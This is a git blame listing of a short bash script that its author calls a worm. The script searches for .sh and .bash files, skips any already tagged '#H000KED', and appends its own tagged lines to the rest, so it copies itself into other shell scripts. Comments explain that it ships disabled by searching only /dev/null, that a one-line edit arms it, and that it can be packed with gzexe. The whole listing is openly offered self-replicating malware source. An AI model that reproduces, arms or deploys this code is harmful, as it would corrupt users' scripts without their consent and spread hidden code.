Commit | Line | Data |
---|---|---|
21c4e167 H |
1 | #!/bin/bash |
2 | # Harvie's ultimate bash worm ;P | |
3 | # This absolutely SUX, but -W0W- i've learned bash basix while writing it! | |
4 | # Protected against 31337-script-kiddies (edit-first-line)... | |
5 | # You can gzexe this script, but add the H000KED comment at end of some line... | |
6 | # Now it's just spreading, it's simple to add anything else... | |
7 | # Copyright = a+rwx; No warranty, responsibility, etc... ;D | |
8 | ||
9 | for i in $( find /dev/null 2> /dev/null | grep -i "\.bash\$\|\.sh\$" ); do #H000KED | |
10 | if ( fgrep "\#H000KED" $i > /dev/null ); then | |
11 | echo Already infected: $i #Debug only | |
12 | continue #H000KED | |
13 | fi #H000KED | |
14 | echo >> $i #H000KED | |
15 | cat $0 | grep \#H000KED >> $i | |
16 | echo Newly infected: $i #Debug only | |
17 | done #H000KED |